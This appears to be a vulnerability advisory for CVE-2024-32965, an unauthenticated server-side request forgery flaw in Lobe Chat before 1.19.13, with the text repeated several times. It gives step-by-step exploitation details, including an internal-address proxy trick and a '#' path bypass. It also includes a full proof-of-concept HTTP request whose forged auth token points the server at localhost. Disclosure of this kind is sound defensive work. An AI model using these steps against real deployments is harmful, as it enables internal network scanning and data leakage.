CVE-2024-32965

Lobe Chat is an open-source, AI chat framework. Versions of lobe-chat prior to 1.19.13 have an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information. The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, can be modified to scan an internal network in the target lobe-web environment. This issue has been addressed in release version 1.19.13 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Lobe Chat is an open-source, AI chat framework. Versions of lobe-chat prior to 1.19.13 have an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information. The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, can be modified to scan an internal network in the target lobe-web environment. This issue has been addressed in release version 1.19.13 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary

lobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.

Details

• visit https://chat-preview.lobehub.com/
• click settings -> llm -> openai
• fill the OpenAI API Key you like
• fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path "/chat/completions" which can be bypassed with sharp like "http://172.23.0.1:8000/#")
• then lobe will echo the ssrf result

The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.

PoC

POST /api/chat/openai HTTP/2
Host: chat-preview.lobehub.com
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0
Content-Length: 158
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
X-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4
Content-Type: application/json
X-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/llm
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close

{"model":"gpt-3.5-turbo","stream":true,"frequency_penalty":0,"presence_penalty":0,"temperature":0.6,"top_p":1,"messages":[{"content":"hello","role":"user"}]}

Impact

SSRF, All users will be impacted.

Lobe Chat is an open-source, AI chat framework. Versions of lobe-chat prior to 1.19.13 have an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information. The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, can be modified to scan an internal network in the target lobe-web environment. This issue has been addressed in release version 1.19.13 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Lobe Chat is an open-source, AI chat framework. Versions of lobe-chat prior to 1.19.13 have an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information. The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, can be modified to scan an internal network in the target lobe-web environment. This issue has been addressed in release version 1.19.13 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary

lobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.

Details

• visit https://chat-preview.lobehub.com/
• click settings -> llm -> openai
• fill the OpenAI API Key you like
• fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path "/chat/completions" which can be bypassed with sharp like "http://172.23.0.1:8000/#")
• then lobe will echo the ssrf result

The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.

PoC

POST /api/chat/openai HTTP/2
Host: chat-preview.lobehub.com
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0
Content-Length: 158
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
X-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4
Content-Type: application/json
X-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/llm
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close

{"model":"gpt-3.5-turbo","stream":true,"frequency_penalty":0,"presence_penalty":0,"temperature":0.6,"top_p":1,"messages":[{"content":"hello","role":"user"}]}

Impact

SSRF, All users will be impacted.